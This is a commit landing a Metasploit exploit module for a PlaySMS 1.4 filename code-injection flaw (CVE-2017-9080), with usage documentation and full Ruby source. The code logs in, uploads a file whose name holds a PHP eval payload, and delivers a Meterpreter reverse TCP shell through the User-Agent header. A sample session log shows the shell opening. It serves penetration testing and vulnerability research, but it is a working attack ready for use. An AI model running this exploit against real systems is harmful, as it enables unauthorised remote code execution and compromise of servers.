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Land #9944, playsms_filename_exec.rb
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jrobles-r7 committed May 7, 2018
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52 changes: 52 additions & 0 deletions documentation/modules/exploit/multi/http/playsms_filename_exec.md
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## Description
This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044](https://www.exploit-db.com/exploits/42003/).

## Vulnerable Application
Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz)

### Vulnerable Application Installation Setup.
1. Download Application : `wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz`
2. Extract : `tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz`
3. Move In WebDirectory : `mv playsms-1.4/web/* /var/www/html/`
4. make config file: `cp /var/www/html/config-dist.php /var/www/html/config.php`
5. Change Owner : `chown -R www-data:www-data /var/www/html/`
6. Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database.
7. Now Visit : http://localhost/

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/playsms_filename_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `set targeturi SecreTSMSgatwayLogin`
7. Do: `set username touhid`
8. Do: `set password diana`
9. Do: `check`
```
[*] 10.22.1.10:80 The target appears to be vulnerable.
```
10. Do: `set lport <port>`
11. Do: `set lhost <ip>`
12. Do: `exploit`
13. You should get a shell.


## Scenarios
### Playsms on Ubuntu Linux
```
msf exploit(multi/http/playsms_filename_exec) > run
[*] Started reverse TCP handler on 10.22.1.3:4444
[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2
[*] Trying to Login ......
[+] Authentication successful : [ touhid:diana ]
[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc
[*] Trying to upload file with malicious Filename Field....
[*] Sending stage (37775 bytes) to 10.22.1.15
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530
meterpreter >
```
189 changes: 189 additions & 0 deletions modules/exploits/multi/http/playsms_filename_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution',
'Description' => %q{
This module exploits a code injection vulnerability within an authenticated file
upload feature in PlaySMS v1.4. This issue is caused by improper file name handling
in sendfromfile.php file.
Authenticated Users can upload a file and rename the file with a malicious payload.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module
'DarkS3curity' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB','42003'],
['CVE','2017-9080'],
['URL','https://www.youtube.com/watch?v=MuYoImvfpew'],
['URL','http://touhidshaikh.com/blog/?p=336']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])
end

def uri
return target_uri.path
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end

if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end

CheckCode::Safe
end

def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})

# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")

cookies = res.get_cookies
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle],
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end

def exploit
cookies = login

# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'list',
}.to_a.shuffle]
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# Grabbing CSRF token from body.
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")

# Payload.
evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"

# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload
post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra
data = post_data.to_s

vprint_status('Trying to upload file with malicious Filename Field....')
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'upload_confirm',
}.to_a.shuffle],
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end

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